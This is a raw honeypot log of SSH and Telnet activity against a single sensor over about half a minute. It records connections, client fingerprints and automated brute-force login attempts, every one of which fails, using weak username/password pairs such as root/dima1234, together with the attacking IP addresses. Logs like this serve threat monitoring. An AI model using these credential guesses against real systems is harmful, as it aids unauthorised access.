{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40824,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebb98778b7c9","protocol":"ssh","message":"New connection: 83.168.110.85:40824 (10.17.0.5:22) [session: ebb98778b7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:02.464191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:02.654222Z","src_ip":"83.168.110.85","session":"ebb98778b7c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:02.658758Z","src_ip":"83.168.110.85","session":"ebb98778b7c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:03.360435Z","src_ip":"83.168.110.85","session":"ebb98778b7c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:04.581785Z","src_ip":"83.168.110.85","session":"ebb98778b7c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45750,"dst_ip":"10.17.0.5","dst_port":22,"session":"967e92bb8f05","protocol":"ssh","message":"New connection: 83.168.110.85:45750 (10.17.0.5:22) [session: 967e92bb8f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:09.732518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:09.738307Z","src_ip":"83.168.110.85","session":"967e92bb8f05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:09.859733Z","src_ip":"83.168.110.85","session":"967e92bb8f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:10.228219Z","src_ip":"83.168.110.85","session":"967e92bb8f05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:11.415776Z","src_ip":"83.168.110.85","session":"967e92bb8f05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.779162645339966,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:12.141118Z","src_ip":"152.42.224.71","session":"a8ab6344f271","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52588,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d300f89d661","protocol":"ssh","message":"New connection: 83.168.110.85:52588 (10.17.0.5:22) [session: 3d300f89d661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:16.722365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:16.728736Z","src_ip":"83.168.110.85","session":"3d300f89d661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:16.853609Z","src_ip":"83.168.110.85","session":"3d300f89d661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:17.219448Z","src_ip":"83.168.110.85","session":"3d300f89d661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:18.343648Z","src_ip":"83.168.110.85","session":"3d300f89d661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.853960037231445,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:21.803213Z","src_ip":"152.42.224.71","session":"6b53d291c7ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":36330,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b801379707f","protocol":"ssh","message":"New connection: 2.57.121.25:36330 (10.17.0.5:22) [session: 9b801379707f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:22.599483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:22.604810Z","src_ip":"2.57.121.25","session":"9b801379707f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:22.700055Z","src_ip":"2.57.121.25","session":"9b801379707f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18071994","message":"login attempt [user/18071994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:23.153170Z","src_ip":"2.57.121.25","session":"9b801379707f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52602,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d602013e836","protocol":"ssh","message":"New connection: 83.168.110.85:52602 (10.17.0.5:22) [session: 6d602013e836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:23.484879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:23.603945Z","src_ip":"83.168.110.85","session":"6d602013e836","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:23.768221Z","src_ip":"83.168.110.85","session":"6d602013e836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:24.148286Z","src_ip":"83.168.110.85","session":"6d602013e836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"180687","message":"login attempt [user/180687] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:24.251674Z","src_ip":"2.57.121.25","session":"9b801379707f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:25.285814Z","src_ip":"83.168.110.85","session":"6d602013e836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18051981","message":"login attempt [user/18051981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:25.350154Z","src_ip":"2.57.121.25","session":"9b801379707f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18041980","message":"login attempt [user/18041980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:26.447938Z","src_ip":"2.57.121.25","session":"9b801379707f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18011995","message":"login attempt [user/18011995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:27.545186Z","src_ip":"2.57.121.25","session":"9b801379707f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:28.643372Z","src_ip":"2.57.121.25","session":"9b801379707f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59198,"dst_ip":"10.17.0.5","dst_port":22,"session":"541dee82021d","protocol":"ssh","message":"New connection: 83.168.110.85:59198 (10.17.0.5:22) [session: 541dee82021d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:30.836989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:30.840745Z","src_ip":"83.168.110.85","session":"541dee82021d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:30.961316Z","src_ip":"83.168.110.85","session":"541dee82021d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:31.327763Z","src_ip":"83.168.110.85","session":"541dee82021d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":53410,"dst_ip":"10.17.0.5","dst_port":22,"session":"3537f78be9ef","protocol":"ssh","message":"New connection: 103.172.78.219:53410 (10.17.0.5:22) [session: 3537f78be9ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:31.868896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:31.874094Z","src_ip":"103.172.78.219","session":"3537f78be9ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:32.138704Z","src_ip":"103.172.78.219","session":"3537f78be9ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:32.479008Z","src_ip":"83.168.110.85","session":"541dee82021d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50128,"dst_ip":"10.17.0.5","dst_port":23,"session":"910ddcca215d","protocol":"telnet","message":"New connection: 152.42.224.71:50128 (10.17.0.5:23) [session: 910ddcca215d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:32.874358Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1234","message":"login attempt [root/dima1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:32.939409Z","src_ip":"103.172.78.219","session":"3537f78be9ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:34.207255Z","src_ip":"103.172.78.219","session":"3537f78be9ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37768,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f1795627fc1","protocol":"ssh","message":"New connection: 83.168.110.85:37768 (10.17.0.5:22) [session: 0f1795627fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:37.910811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:37.916255Z","src_ip":"83.168.110.85","session":"0f1795627fc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:38.036935Z","src_ip":"83.168.110.85","session":"0f1795627fc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:09:38.405847Z","src_ip":"83.168.110.85","session":"0f1795627fc1","protocol":"ssh"}
